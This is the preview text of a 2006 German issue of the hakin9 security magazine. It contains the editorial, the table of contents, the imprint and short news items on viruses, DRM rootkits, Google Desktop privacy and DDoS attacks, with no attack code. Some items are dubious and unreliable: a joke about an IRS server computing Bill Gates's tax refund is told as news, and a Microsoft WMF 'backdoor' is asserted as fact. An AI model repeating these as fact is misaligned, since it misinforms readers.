hakin9 - 2006 - 3 [PDF]

  • 0 0 0
  • Gefällt Ihnen dieses papier und der download? Sie können Ihre eigene PDF-Datei in wenigen Minuten kostenlos online veröffentlichen! Anmelden
Datei wird geladen, bitte warten...
Zitiervorschau

hakin9 Lupe Im Bereich der Sicherheit von Informatiksystemen ist immer was los. Wir verabschieden bekannte Sicherheitsfehler, indem wir neue Updates zur Verfügung bekommen, aber nach wenigen Augenblicken entdecken wir neue Lücken. Auch die alten Probleme kehren öfters zurück und lachen über provisorisch geflickten Stellen Dieses Wettrennen läuft ununterbrochen und sein Tempo verschärft sich, als wenn es durch die wachsende Leistungsstärke der Rechner und die Vielfältigkeit von Applikationen und Kommunikationsprotokollen beschleunigt würde. Schwert und Schutzschild. Schwert – das sind Angriffstechniken. Schutzschild – Abwehrmethoden. Schwert und Schutzschild. Kontinuierliche Weiterentwicklung und ständig neuer Kampf. Sie haben bestimmt oft von diesem, für die Informatiksicherheit typischen, Vergleich gehört. Wo findet sich in dieser stilistischen Figur ein Platz für das Magazin hakin9? Vertreter informatischer Unternehmen fragen uns oft: mit wem sympathisiert ihr? Welcher Seite ist es euch näher? Das ist eine gute Frage. Wenn wir versuchen, die Funktion unseres Magazins zu definieren, kommen uns die Wörter: beobachten zeigen näher bringen in den Sinn. Wir sind also weder Schwert noch Schutzschild. Wir sind... eine Lupe. Wir machen Ihre Augen empfindlicher, damit sie wissen, wohin und wie sie schauen sollen. Sowohl Schwert als auch Schutzschild erweisen sich als interessante Exponate in der Sammlung eines Kenners, wenn wir sie uns durch unsere Lupe ansehen. Werfen wir einen Blick auf den Inhalt der aktuellen Ausgabe. Wir haben für Sie verschiedene Themen, in ziemlich kontrastvoller Gliederung, vorbereitet. Wir werden über Methoden zur Umgehung der IP-Filterung diskutieren, aber auch von IPTables-Erweiterungen erzählen. Wir präsentieren Techniken des Windows-Hackings, aber auch Linux wird wegen Rootkits für Kernel 2.6 büßen müssen. Auf der HeftCD finden Sie, wie immer, hakin9 live (h9l), neue Tutorials und ein paar interessante Bücher im PDF-Format. Zudem die Vollversion von Steganos Safe 6 – einem ausgezeichneten Tool für alle MS Windows-Nutzer, Sicherheitsfanatiker und Anhänger von Verschwörungstheorien. Spaß beiseite. Das Paket Steganos Safe 6 enthält drei sehr nützliche Applikationen: ein Programm zum Erstellen und zur Verwaltung von virtuellen verschlüsselten Laufwerken, ein Programm zum unwiederbringlichen Löschen von Daten und zum Reinigen überflüssiger Daten von der Festplatte, und ein Tool zur Verschlüsselung von Datenträger (Sie entscheiden selbst, wer Ihre Diskette oder CD lesen darf). Worauf warten Sie noch? Lupen in die Hand! PS. Die Informationen über das Arbeiten an den neuen Lupen-Modellen finden Sie auf den Seiten www.hakin9.org Jarosław Szumski

4

hakin9 Nr. 3/2006

Kurznachrichten

06

CD-Inhalt

10

Wir präsentieren ein paar der interessantesten Neuigkeiten aus der Welt der Sicherheit von Informatiksystemen. Wir stellen den Inhalt und die Funktionsweise der neusten Version von unserer besten Distribution hakin9.live vor.

Tools – Acunetix Web Vulnerability 12 Scanner Carlos Garcia Prado

Wir erklären, wie man Acutenix Web Vulnerability Scanner zum automatischen Entdecken der Sicherheitslücken in Web-Applikationen verwendet.

Tools – LogHound

13

Stefan Lochbihler

Wir zeigen Ihnen, wie man – mit Hilfe des Programms LogHound – die System-Log-Dateien nach den definierten Muster durchsucht.

Thema der Ausgabe Ausuntzen von Fehlern in Windows-Systemmessages

14

Krzysztof Wilkos

Wir zeigen, wie eine entsprechende Ausnutzung von Windows-Messages in den Dialogfenster die Injektion von bösartigen Code ermöglichen und dem Angreifer bei der Erweiterung der Benutzerrechte helfen kann.

Fokus Wie man IP-Adressenfilterung an Firewalls bzw. Routern umgeht

26

Kristof De Beuckelaer

Wir erklären, warum die Zugriffskontrolle anhand der IP-Adresse weder sicher noch zuverlässig ist.

Techniken Fortgeschrittene Entwicklung von 32 L2.6KM Rootkits Pablo Fernández

Wir stellen die Grundsätze der Entwicklung von Rootkits für den Linux-Kernel 2.6 vor und zeigen, wie man installierte und funktionierende Rootkits entdeckt.

Rezensionen Krystyna Wal, Łukasz Długosz

38

Wir besprechen die folgenden Bücher: Network Security Tools; Intrusion Prevention and Active Response Deploying Network and Host IPS; Practical Cryptography; Wi-Foo. The Secrets of Wireless Hacking.

www.hakin9.org

Programmieren Eigene IPTables-Erweiterungen

40

Jarosław Sajko

Wir beschreiben, wie man die Strategie zur Systemabwehr auf die Firewall-Konfiguration umsetzt und eigene Erweiterung für IPTables schreibt.

Praxis Passives Sammeln der Informatio52 nen – Grundlagen Błażej Kantak

Wir zeigen Ihnen, wie man Informatiksysteme schützt, um die unberechtigten Personen am passiven Sammeln der Informationen zu hindern.

Theorie IPSec: Technische Beschreibung 64 Bénoni Martin

Wir beschreiben die Anwendungsmöglichkeiten für IPSec. Wir besprechen auch die Protokolle (AH, ESP, ISAKMP, IKE, ...), mit denen IPSec arbeitet.

Umgebung Hacking nicht nur im Netz

76

Michał Piotr Pręgowski

Wir stellen vor, was Lifehacking ist und welche Lebensbereiche es betrifft, aber auch warum es für das traditionelle Hacking wichtig sein kann.

78

Interview mit Mikko Hyppönen

Wir sprechen mit einem Mann, der den bedeutenden Teil seines Lebens dem Schutz tausender Rechner vor Computerviren gewidmet hat.

Feuilleton Mein Auto hat eine Firewall

80

Regis Gabineski

Wir machen uns Gedanken über die Zukunft und die weitere Evolution der informatischen Technologien.

Ankündigungen

Wollen Sie eine Verkaufslizenz auf Verkauf unserer Magazin erwerben, kontaktieren Sie bitte: Monika Godlewska e-mail: [email protected] tel.: +48 22 887 12 66 fax: +48 22 887 10 11 Vertrieb in Deutschland: IPS Pressevertrieb GmbH Postfach 12 11 D-53340 Meckenheim Die Redaktion bemüht sich, dafür Sorge zu tragen, dass die in der Zeitschrift sowie auf den begleitenden Datenträgern enthaltenen Informationen und Anwendungen zutreffend und funktionsfähig sind, übernimmt jedoch keinerlei Gewähr für deren Geeignetheit für bestimmte Verwendungszwecke. Alle Markenzeichen, Logos und Handelsmarken, die sich in der Zeitschrift befinden, sind registrierte oder nicht-registrierte Markenzeichen der jeweilgen Eigentümer und dienen nur als inhaltliche Ergänzugen. Die Redaktion bietet kein Support bei der Installation bzw. Nutzung der auf der begleitenden CD zur Zeitschrift enthaltenen Software. Anmerkung! Der Verkauf von aktuellen Magazinen sowie von Archivausgaben zu einem anderen Preis, als der auf dem Umschlag abgedruckte, ist ohne Genehmigung des Herausgebers verboten und wird strafrechtlich verfolgt.

Interview Eine neue Virengeneration: Ist niemand mehr sicher?

wird von Software-Wydawnictwo Sp. z o.o. herausgegeben Anschrift: Software-Wydawnictwo Sp. z o.o., ul. Piaskowa 3, 01-067 Warschau, Polen Tel. +48 22 887 10 10, Fax +48 22 887 10 11 www.hakin9.org Chefredakteur: Jarosław Szumski Produktion: Marta Kurpiewska [email protected] Vertrieb: Monika Godlewska [email protected] Market Manager: Jadwiga Rzepecka-Makara [email protected] Produkt Manager: Dominika Podlipna [email protected] Vorbereitung der CD: Witold Pietrzak, Piotr Sobolewski Satz: Anna Osiecka [email protected] Übersetzung: Magdalena Kaczmarek, Tomasz Sieniuć, Jan Wielgus, Kinga Wróbleska, Grzegorz Wójcik Korrektur: Tjabo Kloppenburg, Klaus -Martin Scheuer, Florian Roth, Ingo Edelmann, Sascha Hess, Patric Astor, Getri Müller, Patrik Gemein, Ptrick Nussbaum, Marcus Jeitler Werbung: [email protected] Abo: [email protected] Tel. +48 22 887 14 57 Umschlagsentwurf: Agnieszka Marchocka Wenn Sie mit uns zusammenarbeiten wollen: [email protected]

82

Die Redaktion benutzt das automatische Satzsystem von Zur Erstellung der Diagramme wurde das Programm von der Firma verwendet. Die dem Magazin beigefügte CD wurde mit dem Programm AntiViren Kit von der Firma G DATA Software Sp. z o.o. getestet. Druck: 101 Studio, Firma Tęgi hakin9 erscheint in folgenden Sprachversionen und Ländern: deutsche Version (Deutschland, Schweiz, Österreich, Luxemburg), französische Version (Frankreich, Kanada, Belgien, Marokko), spanische Version (Spanien, Portugal), italienische Version (Italien), tschechische Version (Tschechien, Slovakei), polnische Version (Polen), englische Version (Kanada, USA) hakin9 -Magazin wird in 7 Sprachversionen veröffentlicht: DE

PL

CZ

IT

FR

ES

EN

Anmerkung

Die in der Zeitschrift demonstrierten Techniken sind AUSSCHLIESSLICH in eigenen Rechnernetzen zu testen! Die Redaktion übernimmt keine Haftung für eventuelle Schäden oder Konsequenzen, die aus der unangemessenen Anwendung der beschriebenen Techniken entstehen. Die Anwendung der dargestellten Techniken kann auch zum Datenverlust führen! Wir bedanken uns herzlich bei den Betatestern: Oliver Koen, Marek Kreul, Sascha Hess, Andreas Männer, Stefan Behte

www.hakin9.org

hakin9 Nr 2/2006

5

Kurznachrichten

Computervirus Brain feiert seinen 20. Geburtstag

In diesem Jahr feiern wir 20. Jahrestag der Existenz von Computerviren. Das allererste Virus auf der Welt – Brain – hat am 19. Januar 1986 zugeschlagen. Brain ist in einigen, in der Regel relativ harmlosen, Varianten erschienen. Das erste Virus der Geschichte wurde höchstwahrscheinlich in Pakistan entwickelt und hat sich über Disketten, das damals gebräuchliche Datenaustauschmedium, verbreitet. Sein Ziel war, das Inhaltverzeichnis der befallenen Disketten in Brain oder ashar umzubennen.

Kommen Computer mit dem Vermögen von Bill Gates nicht zurecht?

Die US-Bundessteuerbehörde (Internal Revenue Service) kaufte einen zusätzlichen Server, der die Rückerstattung der überzahlten Steuer vom Gründer der Firma Microsoft, Bill Gates, berechnen soll. Während der Pressekonferenz in Lissabon gab Gates zu, dass er oft Mannschreiben über eine ausstehende Zahlung der Steuer vom Fiskus bekommen hatte. Wie er erklärte, waren die Recher der Finanzbehörde mit den großen Summen seines Vermögens, das als eins der größten auf der Welt geschätzt wird, überfordert. Die Vertreter der US-Bundessteuerbehörde verweigern Kommentar zu diesem Thema.

Der WMF-Fehler ein Teil von einem großen Plan?

Leo Laporte und Steve Gibson haben gründlich den bekannten Fehler bei der Behandlung von WMF-Dateien analysiert und sind zum Schluss gelangen, dass er absichtlich, und nicht aus Versehen, im Operationssystem implementiert wurde. Nach ihrer Meinung hat Microsoft mit Absicht diese Sicherheitslücke als Hintertür im System eingebaut, um Code im Stillen ablaufen lassen zu können. Es ist nicht bekannt (und wir werden es sicherlich nicht mehr erfahren), ob der WMF-Fehler auf Veranlassung der Geschäftsführung eingebaut wurde oder ob ihn eine Gruppe von den MicrosoftAngestellten für eigene Zwecke implementiert hat.

6

hakin9 Nr. 3/2006

Rootkit-geschützte DVD Mr. & Mrs. Smith

S

ony BMG ist nicht das einzige Unternehmen, dessen Produkte mit einer Software, die den – in letzter Zeit so berühmten – Rootkits täuschend ähnlich aussieht, vor illegalem Vervielfaltigen geschützt sind. Nach dem aus Helsinki stammenden Antivirenprogrammhersteller F-Secure (Finnland) enthält die deutsche DVD-Ausgabe von Mr. & Mrs. Smith – das DRM-Programm (Digital Rights Management). Dieses Programm benutzt Techniken zur Maskierung, die den Methoden von den meisten bekannten Rookits sehr ähneln. Als Rookit werden Programme bezeichnet, deren Aufgabe ist, einen ständigen Zugang zu dem angegeriffenen Rechner zu gewähren und die Anwesenheit des Einbrechers gleichzeitig zu verbergen. Das kann von einem gemeinen Cracker verwendet werden, um die Dateien zum Angriff auf einen Computer zu verstecken. Wenn nun ein DVD-Hersteller diese Technik benutzt, bedeutet das daher eine große Bedrohung für die nichts ahnenden Benutzer. Der stellvertretende Vorstandsvorsitzender der Firma F-Secure – Antti Vihavainen – hat in seinem Blog geschrieben, dass die oben erwähnten DVDs, die in Deutschland verkauft werden, mit der Kopiersperre Settec Alpha-DISC ausgestattet sind. Das Portal cdfreaks.com beschreibt ausführlich die Funktionierung dieser Applikation. Das Hauptprogramm bekommt während jeder Installation einen anderen, auf den ersten Blick unscheinbaren Namen, wie z.B. win32k2.exe oder msxhtml.exe. Die Dateieigenschaften definieren das Programm Alpha-DISC als System PTHelper. Die ausführbare Datei startet als versteckter Prozess. In derselben Zeit lädt Alph-DISC die DLL-Dateien in den Speicher (hadl.dll), was zu einem Tochterprozess von allen aktivierten Applikation wird. Das Programm verleiht sich im Systemregister die SystemManagera-Berechtigung und sichert sich so wirksam ab, dass es

www.hakin9.org

nicht mehr möglich ist, den Rechner ohne diese Applikation zu starten. Das System verbirgt eigene Prozesse, aber es scheint, dass er weder Dateien noch Eingriffe in das Windows-Systemregister versteckt. Die Applikation ist dadurch minimal weniger gefährlich, weil ein Antivirenprogramm weiterhin sämtliche Dateien auf der Festplatte scannen kann. Jedoch hat er auch festgestellt, dass eine Malware, die nur die Prozesse und keine Dateien verbirgt, nich ungewöhnlich ist. Der Mechanismus zum Verstecken wurde von Heise Online, einer deutschen Informationsseite, entdeckt. Die Settec-Firma bietet eine Software an, dass das DRM-Programm deinstalliert. Der Vihavainens Aussage zufolge sollten kommerzielle Softwarehersteller um jeden Preis vermeiden, irgendwas vor ihren Nutzern zu verbergen. Vor allem vor Netzadministratoren, die für die Rechnerverwaltung verantwortlich sind. Diese Art von Mechanismen funktionieren sehr selten – wenn überhaupt – zu Vorteil des Benutzers und verursachen Sicherheitslücken in vielen Fällen. Der gute Name des Unternehmens Sony hat ernsthafte Schaden erleidet, nachdem die Firma die Verwendung vom DRM-Programm in ihren Produkten zugegeben hat. Viele Cracker haben infolge davon die Sony-Software zum Verstecken eigener Dateien benutzt. Auch die Antivirenfirma Symantec hat gestanden, eine Rookitähnliche Software in ihren Norton SystemWorks, die für das Verstecken bösartiger Dateien auf den Rechner perfekt geeignet waren, verwendet zu haben. Symantec hat bestätigt, dass die Dateien vor API Windows verborgen wurden, damit die auf dem Rechner arbeitenden Nutzer die kritischen Systemdateien unabsichtlich nicht löschen konnten. Nachdem die Firma von Sicherheitsexperten gewarnt wurde, hat Symantec schnell ein Update, das diese potenzielle Bedrohung beseitigt, veröffentlicht.

Kurznachrichten

Google kopiert Deine Festplatte

I

m Februar hat der Gignat im Bereich der Suchmaschinen – die Firma Google – eine neue Funktion der Google Desktop-Software, die die Benutzerprivatshäre in großem Masse gefährden kann, bekannt gegeben. Wenn sich der Nutzer für sie entscheidet, behält die neue Funktion Search Across Computers auf den GoogleServern die Kopien aller seinen docund pdf-Dateien, Kalkulationsbogen und sämtlicher Textdateien. Dadurch hat der Benutzer der Möglichkeit, von jedem Rechner aus auf seine Daten zuzugreifen. EFF (Electronic Frontier Foundation – nichtstaatliche Orgaisation, die sich mit den Bürgerrechten im Cyberspace beschäftigt) berät den Nutzern, die Finger von dem, auf den ersten Blick sehr angenehmen Feature zu lassen. Diese Funktion kann nähmlich die ihr anvertrauten Benutzerdaten den amerikanischen Regierungsinstitutionen zugänglich machen. Auch die mehr begabten Hacker können sich einen Zugang zu vielen persönlichen Informationen schaffen, indem sie das Benutzerpasswort zu Google Desktop herauslocken. Dir bemühen uns der Bedrohung, die mit den die Google-Logs analisierenden Regierungsinstitutionen verbunden ist, für die einzelnen Nutzer zu verbeugen. Wir sind schockiert über die Tatsache, dass Google immer noch erwartet, dass die Benutzer den Inhalt ihrer Computer der Firma anvertraut. Wenn man Google Desktop nicht ensprechend konfiguriert (und das tun nur wenige Leute), bekommt Google die Kopien von Ihren Steuererabrechnungen, Liebesbriefen, Geschäftsunterlagen, Finanz und Krankakten und alle anderen Textokumente, die von der Google Desktop-Software indiziert werden können. Die Regierung (USA) ist infolgedessen imstande, im Besitz von diesen Sachen zu sein, und das ohne Durchsuchungsbefhl vom Gericht, um auf legalle Weise Informationen aus einem privatem Haus oder Büro zu bekommen. Laut der Aussage der Pressesprecherin von Google – Marissa

Mayer – ist diese neue Fuktion, aufgrund der wachsenden Anzahl der Benutzer, die mehrere Rechner benutzen, nützlich und praktisch. Zu viele Leute arbeiten heutzutage an mehreren Rechne. Daher macht unsere neue Funktion ihnen das Leben einfacher. Die Privatsphäre war eine der wichtigsten Anforderung wärend der Entwicklung von Google Desktop und ich kann Sie versichern, dass alle Schritte getan wurden, um die Privatsphäre unserer Nutzer nicht zu gefährden – sagte sie. Das Problem bezüglich der Privatspäre liege vor allem darann, dass E-Mails und andere elektornische Unterlagen auf Grund des Electronic Communication Privacy Act vom Jahr 1986, auch als ECPA bekannt, nur eingeschränkt geschützt sind. Und sogar diese Rechte werden verletzt, wenn die Firma Google unsere Daten für ihre Marketingziele verwendet. Google behauptet, die Dateien, die aus der Festplatte zur Zwecke der Durchführung von gezielten Werbungen kopiert werden, zur Zeit nicht zu scannen, aber schließt die Möglichkeit nicht aus. Die Privacypolitik von Google verbietet solche Handlungen nicht. Dieses Produkt zeigt neue Probleme, die die Privatsphäre heutzutage betreffen. Viele InternetInnovationen fordern die Speicherung von personenbezogenen Daten auf den Provider-Servern, aber die Benutzer, die diese neuen Funktionen benutzen möchten, müssen laut der veralteten Rechtsnormen ihres Recht zur Privatsphäre ablegen. Wenn die Firma Google sich wünscht, dass die Nutzer die Kopien von ihren persönlichen Daten, E-Mails, Verlauf aus dem Browser und bei ihr bewahren und will nicht eine Quelle vom Missbrauch werden, sollte sie sich mit EFF zusammentun. Google sollte von der Regierung eine Gesetztmoderniserung zur Zwecke der Gewährleistung von der Privatsphäre verlangen, so dass das Gesetz das Leben im Cyberspace heutzutage besser wiederspiegelt.

www.hakin9.org

Islamische Hackers attackieren dänische Server

Der Abdruck einer Karikatur des Propheten Mohammed in der europäischen Presse hat eine Welle von Protesten in der islamischen Welt ausgelöst. Jetzt ist das auch im Internet zu sehen. Es wird berichtet, dass die Hackers aus islamischen Ländern Massenatacke auf westliche Internetpräsenzen durchführen. Zone-H.org sagt aus, dass bisher mehr als 1000 Server gehackt wurden, vor allem in Dänemark und Israel. Informationen über eventuelle Schaden sind zur Zeit nicht bekannt. ZoneH.org warnt auch vor weiteren Angriffen und großer Gruppierung von Hackers aus verschiedenen islamischen Ländern, die sich vor dem Heiligen Krieg im Netz zusammentun.

Das beste für Hackers

Mitte Februar hat in San Francisco eine Ausstellung der modernsten Technologien stattgefunden. Die fünfte Edition von CodeCon hat die neusten Lösungen aus dem IT Security-Bereich dargestellt. CodeCon wurde von Bram Cohen, dem Autor von BitTorrent, und von Len Sassman, dem Autor von Mixmastera – anonymen Remailer, gegründet. Das Event wurde zum Teil vom Verlag No Starch Press, der schon seit über zehn Jahren Literatur zu Open Source veröffentlicht, gesponsert.

2 Jahre Gefängnis für einen spanischen Hacker

Ein spanischer Hacker, der mit seinem Angriff im Jahr 2003 mehr als drei Millionen Nutzern den Internetzugang abgespertt hat, wurde zu zwei Jahren Haft und 1.4 Millionen Euro Geldstrafe verurteilt worden. Santiago Garridos Angriff (der Hacker ist auch als Ronnie and Mike25 bekannt) sollte ein Racheakt daür sein, dass man ihn auf Hispano, einem populären in Spanien IRC-Kanal, für die Regelverletzung gebannt hat. In Folge seines Angriffs wurde der Server mit einem generierten Internetverkehr überflutet, was die Server Wanadoo, ONO, Lleida Net und viele andere ISPs, also fast ein Drittel der spanischen Internetnutzer, blockiert hat.

hakin9 Nr. 3/2006

7

Kurznachrichten

Ein Virus legte russische Wertpapierbörse lahm

Einem Computervirus ist es gelungen, sämtliche Aktivitäten an der zentralen russischen Wertpapierbörse völlig abzusperren. Nachdem ein unbekanntes Virus das ganze System angegriffen hat, wurde das Russische Handelsystem gezwungen, seine Tätigkeit auf drei Märkten, die es bedient, für eine Stunde zu unterbrechen. Die Virusinfektion hat ein rapides Wachstum des eingehenden Datentransfers verursacht und infolgedessen die alltäglichen Börsenoperationen, die den Zugang zum Netz benötigen, lahmgelegt. Das Virus ist bis zum Computer, der mit der Testversion des Handelsystems verbunden ist, aus dem Internet durchgedrungen – erklärte einer stellvertretende Vorstandsvorsitzende des Russischen Handelsystems, Dimirtij Szacki, in der offiziellen Äußerung. Der infizierte Rechner hat begonnen, immense Datentransfers zu generieren, die die Routers in unserem System überlastet haben. Die Folge davon war, dass ein gewöhnlicher Datenverkehr – d.h. eingehende und aus dem Handelsystem ausgehende Daten – nicht bearbeitet wurde.

Die Vereinigten Staaten greifen Großbritanien an

Das US-Heimatschutzministerium (United States Department of Homeland Security) beabsichtigt, in nächster Zeit eine Serie von Internetangriffen auf die wichtigen Ziele der IT-Infrastruktur in Großbritanien durchzuführen. Die Operation unter dem Codenamen Cyber Storm hat das Ziel, die Sicherheit und die Schutzmechanismen der britischen Systeme zu testen. Die dafür verantwortlichen amerikanischen Organe fügten hinzu, dass die Handlungen mit dem Erlaubnis der Regierung in London durchgeführt werden. Die Operationsziele sind vor allem Finanzinstitutionen, Energieunternehmen und andere wichtige Einrichtungen. Für die virtuellen Angriffe ist NCSD (National Cyber Security Divison), eine Abteilung vom US-Heimatschutzministerium, verantwortlich. Laut der Erklärung von NCSD werden ähnliche, vorbeugende Angriffe auch auf verschiedene Institutionen in den Vereinigten Staaten, Kanada und Australien durchgeführt.

8

hakin9 Nr. 3/2006

Virus-Erpresser löscht Dateien

A

nfang Februar des laufenden Jahres empfahlen Sicherheitsexperten allen IT-Unternehmen, ihre internen Netze zu scannen, bevor die Systemuhr Mitternacht des dritten Tages jedes Monats schlägt. Diese Sicherheitsmaßnahmen hatten als Ziel, ein Mass-Mailing-Virus zu entdecken und zu entfernen, das genau zu diesem Zeitpunkt beginnen sollte, wertvolle Daten auf den infizierten System zu löschen. Das Virus – Blackmail.E oder Nyxem.E gennant – hatte sich auf über 600.000 Systeme ausgebreitet, darunter vor allem in drei Ländern: den Vereinigten Staaten, Indien und Peru. Es stellte dadurch mehr als die Hälfte der weltweiten Vireninfektionen dar. Das Blackmail.E-Virus wurde so programmiert, dass es am dritten Tag jedes Monats (am 3. Februar beginnend) elf verschiedene Dateitypen löscht. Nicht nur die lokalen Dateien des infizierten Systems werden dabei gelöscht, sondern auch die Daten auf allen Laufwerken, die über das Intranet der Firma an den Rechner angeschlossen sind. Gerade dieser Grund macht das Virus so gefährlich und erklärt die lautstarken Warnungen der Sciherheitsexperten. Nyxem.E verbreitete sich über EMails, indem er die Nutzer mit attraktiven, pornografischen Bildern im Anhang lockte. Im Betreff-Feld einer infizierten Nachricht standen zum Beispiel: Fw: Funny :), Fw: Picturs, *Hot Movie* oder Miss Lebanon 2006. Dieses Virus ist keinesfalls ungewöhnlich. Mann kann es mehr eine Malware-Mischung vieler verschiedenen Würme beschreiben – sagte Joe Stewart, Senior Security Engineer in der Firma LURHQ, die sich mit der Netzsicherheit beschäftigt. Das einzige ernsthafte Problem ist die Tatsache, dass der Entwickler dieses Virus so geschrieben hat, dass es Dateien auf dem infizierten System löscht. Nyxem.E ist eins der destruktivsten Programme, die sich zur Zeit im Netz verbreiten. In den letzten Jahren konnten wir eine Trendwende beobachten:

www.hakin9.org

die schädliche Software konzentrierte sich immer mehr darauf, unbemerkt in ein System einzudringen, und ihren Entwicklern die Kontrollübernahme der Maschine zu ermöglichen. Die Aufgabe des Klez-Viren – nachdem es sich vor vier Jahren im Netz verbreitet hatte – war, einige Dateitypen zu löschen. Im Jahr 1998 sollte das CIHVirus – auch Tschernobyl genannt – sowohl Dateien, als auch den Systemcode (der im Flash-Speicher auf Motherboard einiger Rechnertypen geschrieben wurde) zu löschen. Diese Trendwende und die Abwendung vom zerstörerischen Charakter der Viren sind sicherlich damit zu erklären, dass sich die Cracker über neue Ziele und Möglichkeiten klar geworden sind. Die illegale Kontrolle sehr vieler Computersystem auf der ganzen Welt, kann auf einfache Art und Weise in eine gewinnbringende Einnahmequelle verwandelt werden. Mit immensen Netzwerken von infizierten Rechnern – den so genannten Botnets – lässt sich mit dem s.g. click fraud (Klickbetrug) viel Geld verdienen und Spam verbreiten. Häufig werden Botnets auch dazu verwendet, um das Geld von bekannten Internetpräsenzen zu ergaunern, indem man ihren Besitzern mit DDoS-Attacken droht. Die destruktive Verhaltensweise der Viren ist im Laufe der letzten fünf Jahren fast völlig verschwunden. Die Virenprogrammierer sind zum dem Schluss gekommen, dass sie davon keinen Nutzen habe. Stattdessen werden immer modernere Programme entwickelt, die Rechnersysteme in ein Botnet-Element oder in einen Zombie verwandeln. Häufig sind auch versteckte Installationen von Key-Loggern anzutreffen. Und dennoch bringt Blackmail seinem Entwickler keine finanziellen Vorteile. Alle Rechner, die immer noch vom Nyxem.E Virus infiziert sind, werden am dritten Tag jedes Monats einer Löschroutine ausgesetzt, die Dateien wie die Dokumente der Applikationen Word, Excel, PowerPoint und Dateien im pdf-Format von allen Laufwerken unwiederbringlich entfernt.

Kurznachrichten

Dauerhafte Folgen der Übernahme einer Domäne

E

inige der gemeinen Hacker, die die Kontrolle über eine Internetpräsenz übernehmen konnten, sind imstande den Netzverkehr zu sabotieren, noch lange nachdem sie die Seiten den rechtmäßigen Besitzern zurückgegeben haben. Der Grund dafür ist ein Fehler im Verbindungsaufbau von Browser und Proxy-Server sowie ihre Art der Datenspeicherung. Die Cracker nutzen diese Schwachstellen aus, um die nichts ahnenden Internet-Nutzer auf spezielle Seiten umzuleiten, was noch tagelang oder sogar monatelang nach dem Angriff möglich ist. So eine Attacke kann zum Diebstahl von Informationen oder Identitäten führen. Das Problem, das Klein als domain poisoning bezeichnet hat, existiert wegen der Eigenschaften von Proxy-Servern, die Versionen von Internetseiten speichern, Netzclients und Browsern, wie Microsoft Interent Explorer, Firefox und Opera. Sowohl die Proxy-Server als auch die Browser haben im gewissen Sinne das Vertrauen zueinander. Dadurch werden die Server als autoritative Hosts für eine bestimmte Internetseite im DNS (domain name system) identifiziert . Wenn ein Client einmal glaubt, dass er mit dem richtigen Server, der einer konkreten Domäne entspricht, kommuniziert, entsteht eine Art vom Standard-Vertrauen zu diesem Server. Dieses Vertrauen wird nicht widergerufen. Ein Internetbrowser, zum Beispiel, speichert Informationen über die besuchten Seiten in Form von Cookies und auf seinem Cache-Speicher. Wenn ein Client so eine Information herunterlädt, wird es schwer, sie wieder zu entfernen. Die Übernahme von Domänen ist ein immer wiederkehrendes Problem, das von Zeit zu Zeit auf Grund bekanntgewordener Angriffe allgemein bekannt wird. Ein Beispiel hierfür ist die Übernahme der Domäne aljazeera.net – eines arabischen Fernsehnetzes – im März 2003. Ein aktuellerer Angriff hat im März 2005 stattgefunden. Eine

unbekannte Hacker-Gruppe hat damals weltweit viele DNS-Server mit DNS cache poisoning-Attacke angegriffen, indem sie eine Sicherheitslücke in der Firewall der Firma Symantec und eine Schwachstelle von Windows NT/2000 ausgenutzte. In Folge dieser Attacke wurde eine bisher unbekannte Anzahl von nichts ahnenden Nutzern auf gefälschte Seiten umgeleitet, über die ihre Rechner mit Spyware-Programmen und anderer bösartigen Software infiziert wurden. Im Fall von diesen und anderen Angriffen, erfolgte die Reaktion beinahe unverzüglich. Die Kontrolle über gehackte WWWSeiten wurde zurückgewonnen und die angegriffenen DNS-Server zurückgesetzt. Die Hacker hatten die HTTP-Kopfzeilen oder den HTML-Inhalt der angegriffenen Internetpräsenz modifiziert, um zu garantieren, dass diese Seiten unberührt und unverändert auf den Servern noch wochen- oder sogar monatelang nach der Attacke verbleiben. Diejenigen Nutzer, die Opfer von Angriffen wurden, behielten in ihrern Browsern Kopien der von Hackern modifizierten Seiten. Diese Internetpräsenz kann dann die erste sein, die beim nächsten Besuch dieser DNS-Adresse eingelesen wird. Ein begabter Hacker, der Scripts in die auf diese Weise besuchte Seiten einbauen kann, wird noch lange nachdem seine Attacke entdeckt wurde, im Stande sein, Informationen der Besucher zu stehlen.

www.hakin9.org

Ein DDos-Angriff der Grund für die Unerreichbarkeit der Million Dollar Homepage

Das Unternehmen, welches für das Hosting der Internetpräsenz The Million Dollar Homepage verantwortlich ist, behauptet, dass die Seite nach der Beendigung der Aktion wegen eines Angriffs eine Weile nicht erreichbar war. Diese Attacke hatte kurz nach dem Verkauf der letzten 1000 Pixel der Werbefläche stattgefunden. Es wurde ein DDoS-Angriff auf die Internetpräsenz durchgeführt. Diese Art von Attacken hat der Kunde natürlich nicht vorhergesehen, als er von uns den Platz auf dem Server gekauft hat – sagte Russel Weiss von der Firma InfoRelay Online Systems, Inc. Trotzdem haben wir freiwillig Schritte unternommen, um den Angriff abzuwehren, indem wir vom verfügbaren Budget Gebrauch machten. InfoRelay ist der Besitzer und der Operator von Sitelutions, der Firma, die Million Dollar Homepage hostet. Alex Tew – der Seitenbesitzer – hat versprochen, seine Internetpräsenz noch mindenstens fünf Jahre lang im Internet zu halten. Als frishgebackener Internet-Millionär kann es sich Tew leisten, einen Teil seines Vermögens für die zusätzliche Finanzierung der Seite zu bestimmen. Der 21-jährige Student aus Großbritanien hatte seine Internetpräsenz im Semptember 2005 gestartet, um das Geld für sein Studium aufzutreiben. Das Idee war simpel – eine Million Werbefelder standen zur Verfügung und jeder konnte sich beliebig viele kaufen. Jeder Pixel kostete einen Dollar. Die letzte Auktion auf e-Bay hat Tews Ertrag auf den Gesamtbetrag von 1.037.100 USD steigen lassen. Riesigen Gewinn erziehlte der Student auch aus Werbeeinnahmen, die dank eines enormen Verkehrs auf seiner Seite zu Stande gekommen sind. Der Besucherzähler auf Milliondollarhomepage.com registriert täglich über 500 000 verschiedene IP-Adressen. Der Verkehr auf der Seite war in den letzten Wochen sehr hoch, manchmal sogar bis zu 200 Mbps – sagte Weiss. Der Überschuss des Verkehrs wurde mit Hilfe eines Multi-Gigabyte Hilfsnetzes voll bedient. Weiss hat einen negativen Einfluss des Angriffs, auf die anderen, durch das Unternehmen administrierten Netze, ausgeschlossen.

hakin9 Nr. 3/2006

9

hakin9.live

CD-Inhalt

A

uf der beiliegenden CD befindet sich die hakin9.live (h9l) Version 2.9.1-ng – eine bootfähige Linuxdistribution mit nützlichen Tools, Dokumentationen, Tutorials und zusätzlichen Materialien zu den Magazinartikeln. Der Login ist hakin9 ohne Passwort. Die Dokumentationen usw. befinden sich in den folgenden Verzeichnissen: • • • • •

• •

